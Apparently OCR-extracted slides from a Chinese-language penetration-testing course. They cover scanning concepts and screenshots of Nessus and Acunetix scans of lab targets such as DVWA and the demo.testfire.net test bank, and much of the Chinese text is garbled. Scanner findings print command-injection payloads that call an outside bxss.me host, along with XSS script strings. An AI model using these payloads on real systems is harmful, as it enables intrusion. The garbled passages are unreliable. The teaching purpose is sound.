I’Av\ ﬁPF lp =

T

( #AEeao ](Bﬂff"‘*iﬁﬁ’f—riﬁ?][ T E R IR D ]

>
G ) (raesa)| |
(emirsen) (212 4)

\(5&:?&—% DI 7%)/

(Grm it s r )|

--
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T EMMEE

* Critical !
« —HWWIZSSR - 2R IEEEH - FUEME®HITRTE |
* High
c PREEERESIRINERSER  WESEHTHRLZZUNWENBEEEE - AREE
R HY R
* Medium
¢ BRERBNSHBSER  WESENTHELZEMIMEND - BEHE - WIFUAFE
EmrRE
* Low
: %gﬁ&%zﬁ@ﬁm EAAF L BB A LR A mEUS E — DRIk
* Info
HIFEEEN




&2 E R

* Penetration Testing (PT, 2% HI5)

TR E T AHETRAESE -

. - BEARBREEEFRY  BEBRE - EEY
(Data Owner) Z ZFETAR -

WA T

I—\—I
=

c MEABIIBARITS - BRI - BHESR
=

c KMH—ESHEE - BT AHESENZENGER - 5

=

/

=7
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White Hat

LIRIRA EEE

2 RITAVE 5 6
3ABRSWRAMER
ARIFESH - SRR
ETTPEERTVINEE

BEETRE - AEBET
BE TR, NEE




Black Hat




2728

- R fa Al BlackBox !
- TERAEMEN - EREZEER 3
. o ElEAIED WniteBox
- I2I0HE - MIREE - RmEA..E
 k#& A Gray Box

* =

\ ==

71 Hn

N
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™ 5O MY A R R R

* #IFX (Red Teaming)

« BERARKE  £ERNEBANLUIEMABESNS I - ESBEARMBAITH
E%

* E£[X (Blue Teaming)

o AR - PHIEAIBINE - ERERPIERTHAS

* 22X (Purple Teaming)

c EREBERARIIARFIABERNMERE - FERCDUES®ERRE - 125t

RZEHAERSE
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1. #HE BH1Z, el ERI A TVEIE R UNEE(google Hacking, #9f& E {4 5)
o el - AEEE - SRS A - B5CE - DNS Server
2. B1Z#FH (Port Scan, Network Scan, Vulnerability Scan)
3. BR4IZE (LDAP. NTP. SNMP, NetBIOS)
4. BUSHER
o WEREHS
5. IR FT IR
6. IR A
 OWASP TOP 10, FEF#ET sk 245 m)l, Bi%, DDOS, A&RE =S RIE
7. 21112
8. JHERIEEN
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BRI

EaflRE
Crawler
DNS

Whois
~EER

EEF b i

. EIBBER
Nessus; . THSSILIRN
o . AEBILIFH

EEEp IS

HSIEURS
- NREREAR
«  EVSALLIZEI IR
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A s BT S B

* Network scan

o MEINER  BEARER S EHY P ELS ST
(ex ping= %)

* Port scan

* B {T5Snetwork scanf® - E3@Port ScaniF 1 H 1= & ik FirBA EX
EEIHIE - EMBHE TR ARIZ B ERNIEERA

* Vulnerability scan

¥ H 1R E NPT R R AYPortZE 1T 93RRI - Y0375 FBE BUAY AR
EE=DEN =i CIETEEES
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b = S
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« ZRRTAEHRNEFESZ
R RVERIESIER « ERHIESE
AR R EEFECHISRE

(R
S al

B 1RRY1E
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PAA
Fl

U

24T ISR

AR 7R
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c eI EntsE LE
* OpenVAS - Open Vulnerability Assessment System

* Tenable Nessus

. * A B IR TF T
* HP WeblInspect
* HCL AppScan

* Acunetix Web Security Scanner
e ZAP (Open Source)
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™ R 99mn1

Gl
i
|

-
=

* OS Level ( 2#ER)

Tenable Nessus Scanner — %2 & hr (161 IPFES!) / 7 A AR
IBM ISS Internet Scanner — & FB R

DragonSoft Secure Scanner — & F ki

Microsoft MBSA - 2 & f( EAZEE )

Rapid 7 Nexpose — & F ik

* AP Level ([ERRENEX )

HP Weblnspect — & FB il
IBM Appscan — & FB R

 Acunetix Web Vulnerability Scanner — 55 FB Ak / B F AR
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St EEE ki

o BR—TEMBIFATN - FASRIFEEOE - HEREEEAS QD F AT
R ER - Gz BB B EEaFEERBENRE - 898 7 =E S {EPortiy
AREE ~ MHREIRIERTS (%W : FTP ~ HTTP » SNMP - SMB% ) - EE— % EiRss L&
e R ERRE AR AN EARE ARVARRESR)E ( 40 : PHP - APACHES ) -

- HTAFEZEENWREMUNRE EREROSNEFMIVSEEEENE - B BB
SR EETEY - Wi ENERESME B ENEE SRR - HEEEREE
RRATETREES BB IERE -
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St EEE ki

- HHEEREEEIANTEEMNS - ZEMEMEEE
allax e MM PTEERY - WREERKE ~ AR1B
AIF IR RS Ridm i IR B 45 5 - DI AR A
T = A R R 2 Z g - BB E AR -
M o] LUR AR PTE RV uﬁﬁ%ﬁﬁﬁlﬁ’]ﬁﬁ%m*ﬂ
ERRERIE - WA ZIRFZS@AVE D




+

B2 oL

T R 12 ER A

U

o BES
o RIE - HENMBAIZ E XI55 R,
* Plug-in ~ 215536V A Z U RS2 - R RIEE =0 B AE B 59 55
. o REY -
o {hRulgEESERF
o SRISERHIE A NEAENIEIN AR EF(LEER)
o DJEeZ FEHBENE
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Nessus i1 1 B45 &

H Bl e AR AN %8.15. X ki
* Client/ Server Z2181L £% SSL NN& & &

* Plugins 2218585 @tenable

o SEEZHITRO[EIFIEHES 2 4 ‘
Qnessus B

« OJB1T#%E NASL (Nessus Attack Scripting Language) Professional

o AR LB Plugins
c WERZEBIEHIUEL(PDF - XML ~ Csvi)
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Nessus OJX 2 7 Y& MIEFEEEK

| - IFERAZFE =
| * Debian / Kali Linux
* Fedora

s FreeBSD

° Mac OS X

* Red Hat / CentOS / Oracle Linux
* SUSE Linux

* Ubuntu

* Windows Server 2008/2012/2016/2019
* Windows 7 ~ 8 & 10
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NENessusZE g |

* https://www.tenable.com/downloads/nessus

Nessus - 8.15.0 [® View Release Notes ~
@ Nessus-8.15.0-ubuntu910_i386.deb Ubuntu 9.10 / Ubuntu 10.04 i386(32-bit) 43.3MB Jun 15, 2021 Checksum
@ nessus-updates-8.15.0.tar.gz Software updates for Nessus Scanners linked 1.07 GB Jun 15, 2021 Checksum

to Nessus Managers in 'offline’ mode (all
0Ses/platforms).

@ Nessus-8.15.0-Win32.msi Windows 7, 8, 10 (32-bit) 74.1MB Jun 15, 2021 Checksum

@ Nessus-8.15.0-es7.x86_64.rpm Red Hat ES 7(64-bit)/ CentOS 7/ Oracle Linux 42.6 MB Jun 15, 2021 Checksum
7(including Unbreakable Enterprise Kernel)

@ Nessus-8.15.0-x64.msi Windows Server 2008 R2, Server 2012, Server 80.2MB Jun 15, 2021 Checksum
2012 R2, 7, 8,10, Server 2016, Server 2019 (64-
M+)
@ Nessu878.15.0.dmg mac0S(10.9-11.1) 61.6 MB Jun 15, 2021 Checksum
@ Nessus-8.15.0-amzn.x86_64.rpm Amazon Linux 2015.03, 2015.09, 2017.09 45 7MB Jun1b, 2021 Checksum
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Nessus Professional / Login - Mozilla Firefox

() Nessus Professional /Lo X | 4+

& RCETR I [OX c
#* Most Visited @ Nessus Professional /.. @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @ Exploit-DB Wy Aircrack-ng @ Kali Forums @ NetHunter @ Kali Training @ Getting Started

nessus

Professional

Remember Me
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[[¥ Kali-Linux-2018.3-vm-amd...

Applications «
Nessus Professional / Folders / My Scans - Mozilla Firefox 6
) Nessus Professional /.. x | +
€& OR | 90% c Search
[ Most Visited~ Offensive Security S Kali Linux “§ Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng gl Kali Forums S, NetHunter ' Kali Training @ Getting Started ) Nessus
© There's an error with your feed. Click here to view your license information
My Scans Import New Folder
@ My Scans
B All Scans
@i Trash
Name Schedule Last Modified
Yuanta_20190608_2 on Demand June B at 2:40 PM
@ Folicies
B Pugin Rules Yuants_20190608_1 On Demand June 8.t 12:43 PM
B cCustomized Reports
© Scanners Yuanta_20190608_SwiftTest On Demand June 8 at 10:16 AM
Yuanta_20190608_Swallow On Demand June B at 10:04 AM
Yuanta_20180608_Swift On Demand June Bat 951 AM
Trade_20180522 On Demand May 22 at 2:16 PM
MOEACIS_20190513 Once on May 13 at 6:00 PM May 13 at 6:33 PM
yuanta_20190406_7_10_232_145 0 Disabled April & at 9:05 AM
yuanta_20180406_7_10_232_34 0 Disabled April & at 9:06 AM
yuania_20190406_6 Disabled April 8 at 9:06 AM
yuanta_20190406_5 Disabled April 8 at 9:05 AM
Yuanta_20180406_7_10_232_33 0 On Demand April 6 at 8:27 PM
Yuanta_20190406_7 On Demand April 6 at 7:58 PM
o direct input to this VM, click inside or press Ctrl+G. [= YO RN P
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Scans Settings

About

Overview Software Update Encryption Password _‘_ %D —C H}i ZIK 8 15 O
/, . - E I . .

4
4
. 4 .
Nessus Professional Version 8 R4 Plugins
//’
Version 8.15.0 (#271) WINDOWS Last Updated June 26 at 1:43 AM
License Expiration April 16, 2023
Plugin Set 202106260143

P

P I ug i nSH}i 2|S s Policy Template Version 202106031936

76




U
T

Nessusirizi

* Scans > New Scan > advanced scan

nessus Settings A admin o
Professional
My Scans nessus Scans  Settings
4 Professional
@ My Scans
- Scan Templates
M Al Scans
B Mys € Back to Scans
M Trash ¥ >eans
- B Arginfo
Hae 2 Scanner User Defined
i hncb
o test _
a Policies B MetaSploit
Plugin Rules meta 1018 @ Shinkonglife 57
B Customized Reports il SouthWater 0
meta_1017 =
- B All Scans Host Discovery
ﬁ Trash
£ Ccommunity
¥ Research
Plugin Release Motes U Policies
Plugin Rules *) & v
.e
B Customized Reports ¢
Basic Network Scan Advanced Scan Advanced Dynamic Scan Malware Scan
1o} Community




=1

=% T Nessus Plugins

» EIEIRHERY Plugins

Settings Credentials Compliance Plugins

PLUGIN FAMILY ~

EMABLED AlX Local Security Checks

EMABLED Amazon Linux Local Security Checks

MIXED Backdoors
ENABLED Brute force attacks
DISABLED CentOS Local Security Checks
DISABLED CGl abuses
EMABLED CGl abuses : XS5

EMABLED CISCO

g
c
w

EMABLED Databases

TOTAL

11447

1202

115

26

2719

3962

670

959

598

I

g
c
7]

DISABLED

DISABLED

EMABLED

EMABLED

EMABLED

ENABLED

ENABLED

EMABLED

EMABLED

Show Enabled | Show All

PLUGIN NAME
4553 Parasite Mothership Backdoor Detection

Agobot. FO Backdoor Detection

Alcatel OmniSwitch 7700/7800 Switches Backd. ..

alya.cgi CGl Backdoor Detection

Arugizer Backdoor Detection

ASUS Router infosvr Remote Command Execu...

BackOrifice Software Detection
Bagle Worm Removal

Bagle.B Worm Detection

PLUGIN ID

11187

12128

11170

11118

45005

80518

10024

12027

12063

1
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A

IRHESR

meta
< Back to MetaSploit

Hosts 1 Vulnerabilities

Filter +

Host

192.168.50.116

67

Remediations

Vulnerabilities

7 |5

4

VPR Top Threats O

History

122

Configure Audit Trail Launch ~

Scan Details

Policy:

Status:
Severity Base:
Scanner:
Start:

End:

Elapsed:

Vulnerabilities

/4

Report ¥

Advanced Scan
Completed

CVSSv2.0

Local Scanner
October 7 at 10:06 AM
October 7 at 10:13 AM

7 minutes

Critical

® High
Medium

® Llow

® Info

Export

-

A T




Nessus fFEHH4a R

meta

Configure Audit Trail Launch Report ~ Export O ATy
€ Back to MetaSploit gl

Hosts 1 Vulnerabilities 67 Remediations 4 VPR Top Threats @ History 1 :
Filter = |
Sev Name Family Count Scan Details
2 SSL (Multiple Issues) Gain a shell remotely 2 Policy: Advanced Scan
Status: Completed
Bind Shell Backdoor Detection Backdoors 1 Severity Base:  CVS5v20
Scanner: Local Scanner
NFS Exported Share Information Disclosure RPC 1 Start: October 7 at 10:06 AM
End: October 7 at 10:13 AM
;1 [[@\W Unix Operating System Unsupported Version De...  General 1 Elapsed: 7 minutes
[N UnreallRCd Backdoor Detection Backdoors 1 Vulnerabilities
(e \VNC Server 'password’ Password Gain a shell remotely 1 " ® Critical
® High
. . Medium
5 ISC Bind (Multiple Issues) DNS 5
® Low
® Info
3 Apache Tomcat (Multiple Issues) Web Servers 3
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- BB ERAENETIFE
* A[ER Nessus FEERAREFEAMEABERAREIVETRE
* Jl€UkL (Crawler) — 734t (Analyst) — Rz (Test)

. © B RIFEEIMIFEEGEE

f-\ocungtlx

AppScan
[:1'N Rational.

A% HP Web|nspect
N A

Dynamic & Static Application
Vulnerability Testing

Web
Yulnerability
Scanner
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* 492 597417 1 LB (Acunetix)

- i} Acunetix - Dashboard X JEH

<« ¢ ® © | & = https://ubuntu:3443/#/dashboard

A Acunetix

by Invicti

Dashboard

Targets > 5 8

Vulnerabilities

Scans
Reports . . e
High Severity Vulnerabilities
Discovery >
Scan Profiles Scans Running Scans Waiting
Email Settings O O

Excluded Hours

i Most Vulnerable Targets
Proxy Settings

General Settings 192.168.13.134

Q@ & bDoOopPGg OQEI G ®DP

About

@ 1

21

Medium Severity Vulnerabilities

Total Scans Conducted Open Vulnerabilities

1 91

Top Vulnerabilities

@ ﬁ Cross site scripting

High

ﬁ File inclusion
High

= [m] x

mn o &

o P

12

Low Severity Vulnerabilities

Total Targets

1

82
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- B MIFERE LR - BTN

<« ¢ @ © | £ ~° https://ubuntu:3443/#/targets/add-multiple see w lin Ell

Sl
T
|
|
I

I
I
\
/

A Acunetix .

by Invicti
Add Ta rgets Import CSV

Dashboard

® B

Targets A Address -

192.168.13.134 DVWA-1

Add Targets

14

Vulnerabilities
http://example.com/ will scan all http://example.com/

)]

Scans http://example.com/dir/ will only scan paths under http:/fexample.com/dir/

Reports

Add another Target

or

Discovery ?

83
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- MBI IFEE LR - 2=1EiFEPolicy

<« c @ © £ =o https://ubuntu:3443/#/targets/127aa06a-5a3b-4fof-81ad-8505482cbf7b i N g

—
—
-

A Acunetix .

by Invicti
® Target Settings
192.168.13.134

(¢) Dashboard
Target Information
@ Targets R
Add Targets DVWA-1

Vulnerabilities
Business Criticality
Scans Normal v

Reports
Discovery > Full Scan

New Web Vulnerabilities
Scan Profiles

Sca . .
) ) High Risk
Email Settings

i )
Excluded Hours High [ Medium Risk

Proxy Settings Cross-site Scripting o

General Settings SQL Injection

8 ODO0ODP S OB

oderate Fast T ———
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-MEIMFRLE - BEERREE

- & ACunetix - Target Config X

& c @ © £ ~© https://ubuntu:3443/#/targets/127aa06a-5a3b-4F9f-81ad-8505482cbf7b %4 n @ & =

il:h ACUHEﬁX Administrator vincent « @ P

by Invicti
192.168.13.134

(¢y Dashboard
Scan Speed
-@- Targets hd
Add Targets @ 2 Concurrent Requests
Send requests every 50 milliseconds
ﬁ Vulnerabilities
@ Scans .
Slower Slowr Moderate Fast
B reports
Discover > . .
0 Y Site Login
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Ot
HT

+

|

I

3

- AMEFIMFEELE - RS

{® Target Settings

1592.168.13.134

Slower Slow Moderate Fast

Site Login

[] Do not test login forms

@ Try to auto-login into the site

Website's forms authentication in some cases can be identified automatically. The automatic
detection will try to identify the steps necessary to log in, the restricted links which should not

be clicked in order to keep the session and the pattern by which a valid session can be identified.

Please enter your credentials below.

User Name

Password

Retype Pass
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Acunetix#E B 535517
e I%% E 5% lu\lE it'FE' j: S Sy l\\l_,l ﬁljj I:l%J E T%Z %U

HTTP

: .|.|
H+
|

(B

HTTP Authentication .

GET /actionireset HTTP/ 1
Host: 1921684040

o Basic, Digest, NTLM and Kerberos (Windows only) are supported

User-Agent: Mozillal5 0 (Windows NT 100 WOVV’G4 v 67 0)‘@
Gecko/20100101 Firefox/67.0 |
S Accept appllcatlonlison text!iavascnpt '!" g= 001 _
o 'Accept Language 4h TW,zh; .q=0 8 en US q =0. 5 en, q =0. 3
_Accept Encodlng gdp deflate USRI SOUUURONE SO OO
Referer: https://192.168 .40 40/menuBar htm

"( Requested With ‘(MLHttpRequest
.Connectuon close P
Authorization: Basic d)(NIc;p1 = ’yMTI;NA==

Client Certificate ]

Proxy Server )
ﬂ U ' T —————
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Business Logic Recorder

The Business Logic Recorder can be used to configul
scanner should follow while scanning the site.

New BLR Import BLR

Record Business Logic

B

\/l—\—l I_I
[ &2 5

(& http://192.168.13.134/dvwa/index.php

:
o)

Welcome to Damn Vulnerable Web App!

- o 0 Instructions | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
logic.blr to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
Setup | better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.
Edit Download
Brute Force | WARNING!
Exacution | Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
CSRF | any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.
File Inclusion | Siecin:
Isclaimer
SQL Injection |
SQL Injection (Blind) | We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given wamings and taken measures to
Upload | prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
XSS reflected | :
S | General Instructions
The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
DVWA Security | page.
PHP Info |
About |
Vi hava Innnad in ac 'admin'
T ») Play « Record

R
mOo
(o

AN

)

& Navigate to http://192.168.13.134
Click on A with text "DVWA"
Change INPUT named username to admin
Change INPUT named password to "#+##++=
Click on Login
Change INPUT named username to admin
Change INPUT named password to "++#+++=

Click on Login

Action Properties

No action selected
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..\...
T
172
|77
\
/

o =GBk

= =

1 = = A AL

1& 1 F Ak

e

s O & https://ubuntu:3443/#/excluded-hours

2 Acunetix

QP33 & ® P

by Invicti

(© Excluded Hours

Dashboard

Targets ?

[[] WNo excluded hours
Vulnerabilities
Scans |:| Allows scans from 9am to 5pm [GMT +8]
Reports [J exceptworking hours [GMT +8]
Discovery ? m

No weekends [GMT +8]

Default
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- MESMFELE - ER{CFHED -

@ Scan Profiles }
Built
In ) x
Scan Profile Name
Full Scan v
New Web Vulnerabilities v q, Search X
Check Path:
High Risk v o B Allchecks All checks = Runtime passive analysis
. _ . « B scanningtests Cher:k Description: .
High / Medium Risk v Passive tests run on the responses received by
> [ File tests the crawler
Cross-site Scripting v > B Directorytests
5 [ Input scheme tests
SQL Injection v
> [ servertests
Weak Passwords v > [ structure tests
> Post-scan tests
Crawl Only v % [ Known web application tests
bd Runtime passive analysis
Malware Scan v > 4 ; =
5 [ crawler analysis
3 [ Location tests
5 [] HTTP Data tests 90
3 [ Target tests
R ——— : [ ———————
> = Input parsing tests
» [ clientside checks
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3
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A Acunetix

Q@ ¥ bOPS OB & ®P

by Invicti

Dashboard

Targets >

Vulnerabilities

Scans

Repaorts

Discovery >

Scan Profiles

Email Settings

Excluded Hours

Proxy Settings

General Settings

About

@) Scan

Full Scan - 192.168.13.134

Scan Information

HIGH

Scan Duration

22h 38m 65

Target Information

Address

Server

Operating System
Identified Technologies
Responsive

Vulnerabilities ure Scan Statistics

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the
scanner. A malicious user can exploit these vulnerabilities and compromise the
backend database and/or deface your website.

Requests

226,253

192.168.13.134

Apache/2.2.8 (Ubuntu) DAV/2
Unix

PHP

Yes

o P

B ceneratereport ~ B evortto

ACtiVity Failed

Overall Progress 100%

o Scanning of 192.168.13.134 started Mov 19,2021, 12:18:54 PM

Antivirus not found Mowv 19,2021, 12:19:04 PM

Login forms were detected but no LSR or Autologin are

. MNowv 19,2021, 12:23:3G6 PM
configured.

o Scanning of 192.168.13.134 was aborted (network error) Mov 20, 2021, 10:57:01 AM

Average Response Time Paths Identified

1ms 1,362

Latest Alerts

0 00

ﬂ Cross site scripting Mov 19, 2021, 8:22:20 FM

ﬂ Server side request forgery MNov 19, 2021, T:42:30 PM

91

ﬁ Remote file inclusion XS5 Mov 19, 2021, 7:40:59 PM

ﬂ Directory traversal Mov 19, 2021, 7:40:43 PM

Mov 19, 2021, 7:40:43 PM

ﬂ File inclusion
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@ Scan n Generate Report + ﬂ Exportto «
Full Scan - 192.168.13.134

Scan Information Vulnerabilities Site Structure Scan Statistics Events
http://192.168.13.134/
[ nitp://192.168.13.134/ http://192.168.13.134/ |_|:|

BB c=ibin o o

. dav

. dvwa : . lity meter Stat

. icons

tillid . .

B muitiac ﬁ Trojan shell script Open

. oops High

. P Apache 2.x version older than 2.2.9 Open

B choMyAdmin

. riff Apache JServ protocol service Open

. test

B uikiwiki Apache httpOnly cookie disclosure Open

B twiki

i view Apache httpd remote denial of service Open

ﬁ index

ﬁ index.php Application error messages Open

ﬁ phpinfo.php 92

ﬁ tiki-install.php Directory listings Open

[P
PUP hangs an narcing navtienlar ctringe ac flaating naint numbar Onan
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BT

I

\
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- CI=GEE

AN

=

®) Scan

Full Scan - 192.168.13.134

nformation

Y Fitter

o

x

o

=

=
T

adk Z

=

o

=

: ¢k

O0/o0|bob|0|O0|4Q)|O0

: ¢k

x
k-4

Vulnerabilities

Vulnerabilit

Code execution ® 49

™ ac

Code execution

Code execution ® 4¢

Code execution ® 49

Configuration file soy

Cross site scripting

Cross site scripting

\
- oo $ s
— AN == ainH mE
@ Scan n Generate Report « ﬂ Exportto «
Full Scan - 192.168.13.134
Scan Information Vulnerabilities Scan Statistics vents
HTTP Request =~
I Filter X [1]]
D ulnerability URL Parameter Status
Code execution http://192.168.13.13 GET /twiki/bin/oops/Main/WebHome?paraml=1.20""()%26%25<acx>
O ﬁ & acu 4/twiki/bin/search/M search Open 100 <SCRiPt%20>yTjB(9854)</ScRiPt>&param2=1.20&template=oopsmore HTTP/1.1
High ain/ Referer: http://192.168.13.134/
. http://192.168.13.13 Cookie: PHPSESSID=c907c5c19daf2bB76d54ab676bdee2ad; security=high
O ﬁ ?:nif:executlon 4/twiki/bin/search/K search Open 100 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
High now/ Accept-Encoding: gzip,deflate,br
hitp://192.168.13.13 User-Agent: Mozilla/5.0 (Windows NT 10.8; Wing4; x64) AppleWebKit/537.36
i . . (KHTML, like Gecko) Chrome/92.08.4512.0 Safari/537.36
ﬁ Code execution 4/dav/DavTestDir_Ul
|:| . A acu PhvL/UIPhvL pha b Open 100 Host: 192.168.13.134
High VL y-_php_ Connection: Keep-alive
ackdoor.php
. http://192.168.13.13
Cod t e
|:| ﬁ .: j:execu ‘on 4/twiki/bin/search/T search Open 100
Fien Wiki/
; . ; http://192.168.13.13
ﬁ Configuration file source P/ L )
D . 4/dvwa/config/confi Open 95
High code disclosure inc.oho~
&-Inc.php HTTP Response ~
http://192.168.13.13
O ﬁ Cross site scripting 4/twiki/bin/oops/Mai paraml Open 100
High n/WebHome
http://192.168.13.13 0
O ﬁ Cross site scripting 4/twiki/binfoops/Mai param2 Open 100
High n/WebHome
5 http://192.168.13.13 HTTP/1.1 200 0K
|:| Cross site scripting 4/twiki/binfoops/Mai  template Open 100 Date: Fri, 19 Nov 2021 04:30:02 GMT
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@ Scan B e B eortto ~
Full Scan - 192.168.13.134

4
O

nm IFEl

\/
\/

Standard Reports

Scan Information Vulnerabilities Scan Statistics Affected Items
Comprehensive (new)
http://192.168.13.134/
Developer
[ nttp:/192.168.13.134/ http://192.168.13.134/ |_|:|

Executive Summary

BB <ioin o °
o Quick

B e Severity Vulnerability Parameter] Compliance Reports
. icons
CWE / SANS Top 25
Bl rutilidae # . ! P
Trojan shell script
BB oo High DISASTIG
L Apache 2.x version older than 2.2.9 HIPAA
. phpMyAdmin
i 150 27001
B i Apache JServ protocol service
B et NIST SP 800-53
B tikiwiki Apache httponly cookie disclosure
OWASP Top 10 2013
B ik
B view Apache httpd remote denial of service OWASP Top 10 2017
B noe
OWASP Top 10 2021
n index.php Application error messages
n phpinfo.php PCIDS53.2
n tiki-install.php Directory listings

Sarbanes Oxley

PHP hangs on parsing particular strings as floating point number WASC Threat Classification 94

@ About Report Templates

PHPinfo nages
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/Main/

Alert group Code execution (verified)

Severity High
This script is possibly vulnerable to code execution attacks.
Code injection vulnerabilities occur where the output or content
served from a Web appligation can be manipulated in such a

Description way that it triggers ser\@side code execution. In some poorly
written Web applications that allow users to modify server-side
files (such as by posting to a message board or guestbook) it is
sometimes possible to inject code in the scripting language of
the application itself.

Recommendations Your script should filter metacharacters from user input.

Alert variants

URL encoded GET input search was set to &(nslookup
hitwnldrdoxIf1307f.bxss.me||perl -e
"gethostbyname('hitwnldrdoxif1307f.bxss.me')")&'\"" 0&
(nslookup hitwnldrdoxIf1307f.bxss.me||perl -e
"gethostbyname('hitwnldrdoxIf1307f.bxss.me')")&""

Possible execution result:

Details The bxss.me domain hitwnldrdox1f1307f.bxss.me was resc

Proof of Exploit
DNS lookup - hitwnldrdoxIf1307f.bxss.me

DNS IP: 173.194.93.12
DNS TYPE: A
DNS QUERY: hitwnldrdox1f1307f.bxss.me.

/mutillidae

/index.php
Alert group Cross site scripting (verified)
Severity High

Cross-site Scripting (XSS) refers to client-side code injection
attack wherein an attacker can execute malicious scripts into a

Description legitimate website or web application. XSS occurs when a web
application makes use of unvalidated or unencoded user input
within the output it generates.

Apply context-dependent encoding and/or validation to user

Recommendations .
input rendered on a page

Alert variants

URL encoded POST input author was set to 53241E83-76EC-
Details 4920-AD6D-503DD2A6BA68'" ()&% <acx><ScRiPt
>cxly(9115)</ScRiPt>

POST /mutillidae/index.php?page=view-someones-blog.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.13.134/

Cookie: PHPSESSID=c907c5c19daf2bB76d54abb676bdee2ad; security=high;

tz offset=-28800

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br

Content-Length: 147

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36

Host: 192.168.13.134

Connection: Keep-alive

author=53241E83-76EC-4920-AD6D-503DD2A6BA6S ' " ()%26%25<acx>
<ScRiPt%20>cxly(9115)</ScRiPt>&view-someones-blog-php-submit-
button=View%s20Blog%20Entries




SN EPAN

I}

°
cH

7
° B2
* 55

=
i AE

°© 59870

St
\

/\—I—
NI

L
CH
janes

A M

& &AIHEE
Hred e

» FHUZERIE B (50E

° IQ%QZ

277 SRE b




Broken Access Control

* (Broken Access Control) EMMFEUIEE |
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* https://demo.testfire.net/
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¢ | Q7

= ONLINE BANKING LOGIN

PERSONAL

[ SMALL BUSINESS

PERSONAL

® Deposit Product

® Checking

® Loan Products

¢ Cards

® Investments & Insurance
e Other Services

SMALL BUSINESS

® Deposit Products
® Lending Services
® Cards

® Insurance

® Retirement

® Other Services

INSIDE ALTORO MUTUAL
e About Us
e Contact Us
® Locations
¢ Investor Relations
® Press Room
® Careers

® Subscribe

Online Banking with FREE Online Bill Pa

No stamps, envelopes, or checks to write give you more

time to spend on the things you enjoy.

Real Estate Financin

Fast. Simple. Professional. Whether you are preparing to
buy, build, purchase land, or construct new space, let
Altoro Mutual's premier real estate lenders help with

financing. As a regional leader, we know the market, we
understand the business, and we have the track record
to prove it

Business Credit Cards

You're always looking for ways to improve your
company's bottom line. You want to be informed,
improve efficiency and control expenses. Now, you can
do it all - with a business credit card account from Altoro
Mutual.

Retirement Solutions

Retaining good employees is a tough task. See how
Altoro Mutual can assist you in accomplishing this feat
through effective Retirement Solutions.

Privacy and Security

The 2000 employees of Altoro Mutual are dedicated to
protecting your privacy and security. We pledge to
provide you with the information and resources that you
need to help secure your information and keep it
confidential. This is our promise.

Win a Samsung Galaxy $10 smartphone

Completing this short survey will enter you in a draw for
1 of 5 Samsung Galaxy S10 smartphones! We look
forward to hearing your important feedback.

Privacy Policy | Security Statement | Server Status Check

| RESTAPI | @© 2021 Altoro Mutual, Inc.

This web application is open source! Get your copy from GitHub and take advantage of advanced features
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. E%adminrl}%ﬁ%ﬁA » WA — 22— REIR{E & tuser » DAREE R

€ @ @ https://demo.testfire.net/admin/adminjsp El ¢ Q #= wB8 ¥ & O & @

Sign Off | Contact Us | Feedback | Search [ [ Go
AltoroMutual »

= MY ACCOUNT | PERSONAL I SMALL BUSINESS INSIDE ALTORO MUTUAL

I WANT TO ...
® View Account Summary
® View Recent Transactions Edit User InfOrmation

® Transfer Funds
® Search News Articles
® Customize Site Language

Add an account to an existing user

ADMINISTRATION

. Users: Account Types:
® Edit Users

Savings v Add Account

Change user's password

Users: Password: Confirm:

tuser Change Password

Add an new user

First Name: Password:
Username: 99
Last Name: Confirm:




l-I'

AR AL

© fERadminEPRIRRZABEAR - TEHERESERT Bed i 2 BHEURL - BIU0FT I8

ERZ8EMH

€  ® A @ https;//demo testfire.net/admin/admin.jsp

AltoroMutual »

B e Q#s wBa ¥ 4 9 & @
Sign Off | Contact Us | Feedback | Search Go

fvi el

= MY ACCOUNT PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

IWANT TO ...
* View Account Summary

® View Recent Transactions Edit User Information
® Transfer Funds
® Search News Articles

& Customi ite Language 5gs
Add an account to an existing user
ADMINISTRATION
Users: Account Types:
® Edit Users
admin v Savings v

Change user's password

Users: Password:

I

Add an new user

First Name:
Last Name:

Username:

L 1

Add Account

Confirm:

Password:
Confirm:

Add User
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o ER—MERtusers

> AZR_EA43uE - B ERAadmin®EE A4 852

|EE 7 B EAIL

€  ® @ https;//demo.testfire.net/login. AI

All)rol\/\utua

| ~N & MYA

J I WANT Tf

€ ()] @ https://demo.testfire.net/admin/adminjsp

AltoroMutual »

E1| ¢ || QA

wBa ¥ @&

& MY ACCOUNT

| PERSONAL | SMALL BUSINESS

INSIDE ALTORO MUTUAL

* Vid
* Vid
& ONLINE BANKING LOGIN o T
* Sef
PERSONAL * Cy
® Deposit Product
® Checkin
® Loan Products
¢ Cards
® Investments & Insurance
® Other Services
SMALL BUSINESS
rivacy Policy

® Deposit Products
® Lending Services
® Cards

. rance

® Retirement

® Other Services

INSIDE ALTORO MUTUAL
® About Us
® Contact Us
® Locations
e Investor Relations
® Press Room

I WANT TO ...
® View Account Summary
® View Recent Transactions
® Transfer Funds
® Search News Articles
® Customize Site Language

Edit User Information

Add an account to an existing user

Users: Account Types:

admin -

Change user's password

Users: Password:

I

adm

Add Account

Confirm:

L

Change Password

® Careers
& ot e Add an new user
Privacy Policy | Security Statement | Server Status Check | First Name: Password:
Username:
Last Name: Confirm:
T —— s e e e e s e T




ldentification and Authentication Failures

* (Identification and Authentication Failures) #4805 77 §g 55
